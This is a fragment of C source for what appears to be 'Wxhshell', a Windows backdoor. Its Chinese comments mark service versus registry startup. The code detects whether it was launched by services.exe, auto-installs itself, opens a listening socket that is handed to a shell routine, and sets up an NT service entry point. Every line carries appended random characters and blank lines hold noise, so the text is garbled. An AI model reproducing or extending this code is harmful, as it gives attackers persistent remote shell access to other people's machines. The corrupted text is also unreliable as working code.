ULONG InheritedFromUniqueProcessId; LBO3){=J
} PROCESS_BASIC_INFORMATION; 9@'^}c#
O}$@|w(8;
PROCNTQSIP NtQueryInformationProcess; "gaurr3
zn!H&!8&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #J4{W84B
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [w>T.b
H]i.\2z
HANDLE hProcess; c*fMWtPp
PROCESS_BASIC_INFORMATION pbi; G3[X.%g`
a| w.G "W
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M`_RkDmy<
if(NULL == hInst ) return 0; :.2Tcq
R;XG2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hrT!S
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |r|<cc#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r
.&<~x
cJp:0'd
if (!NtQueryInformationProcess) return 0; ,tZJSfHB
">-J+ST%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6A$
Y]u
if(!hProcess) return 0; Ev%_8CO4e
*?l-:bc]
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `B1r+uTP~
(L{>la!
CloseHandle(hProcess); ~OdE!!
IF>dsAAI<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /y2)<{{I
if(hProcess==NULL) return 0; 2b&&3u8
Npr<{}ZE
HMODULE hMod; /=y _#l
char procName[255]; AbqeZn
unsigned long cbNeeded; 7dg2-4
lMn1e6~K
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NZ{)&ObBRt
`jI$>{oa
CloseHandle(hProcess); VM.4w.})_E
E((U=P}+g
if(strstr(procName,"services")) return 1; // 以服务启动 \vKKq/f
@2X{e7+D
return 0; // 注册表启动 3?n2/p
7=
} F"G]afI9+
}{oZdO
// 主模块 T_=IH~"
int StartWxhshell(LPSTR lpCmdLine) 2#y-3y<G
{ neLQ>WT
L
SOCKET wsl; DI>SW%)>
BOOL val=TRUE; hxT{!g
int port=0; l-mt{2
struct sockaddr_in door; VGe OoS
I1Jhvyd?$
if(wscfg.ws_autoins) Install(); sY%nPf~9q'
9ZYT#h
port=atoi(lpCmdLine); [$x&J6jF.
K{vn[}
if(port<=0) port=wscfg.ws_port; X5Fi
, /H
'zUWO_(
WSADATA data; eBN!!Y:7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =Z(_lLNmh
?as1^~
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; LBw$K0
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I@M3u/7
door.sin_family = AF_INET; 7_G$&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); (+iOy/5#u
door.sin_port = htons(port); Wcf;ZX
Q)s`~G({P
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q+J;^u"E
closesocket(wsl); [S:{$4&
return 1; "<=HmE-;
} qOD:+b
Mr}K-C?ge
if(listen(wsl,2) == INVALID_SOCKET) { UVUoXv)N
closesocket(wsl); IE0hC\C}
return 1; 71I: P|.>
} a0/[L
Wxhshell(wsl); 0;/},B[A
WSACleanup(); OH_ m ZA
AEw~LF2w
return 0; ;) (F4
,?KN;~t#vz
} 7,IH7l|G
wj$WE3Y
// 以NT服务方式启动 Rch?@O#J
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
IPDQ
{ tXg>R _\C
DWORD status = 0; ;W2Rl%z88
DWORD specificError = 0xfffffff; z <jH{AU
)d =8)9B
serviceStatus.dwServiceType = SERVICE_WIN32; NN"!kuM
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]N4?*S*jd)
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; av:9kPKm
serviceStatus.dwWin32ExitCode = 0; 4.&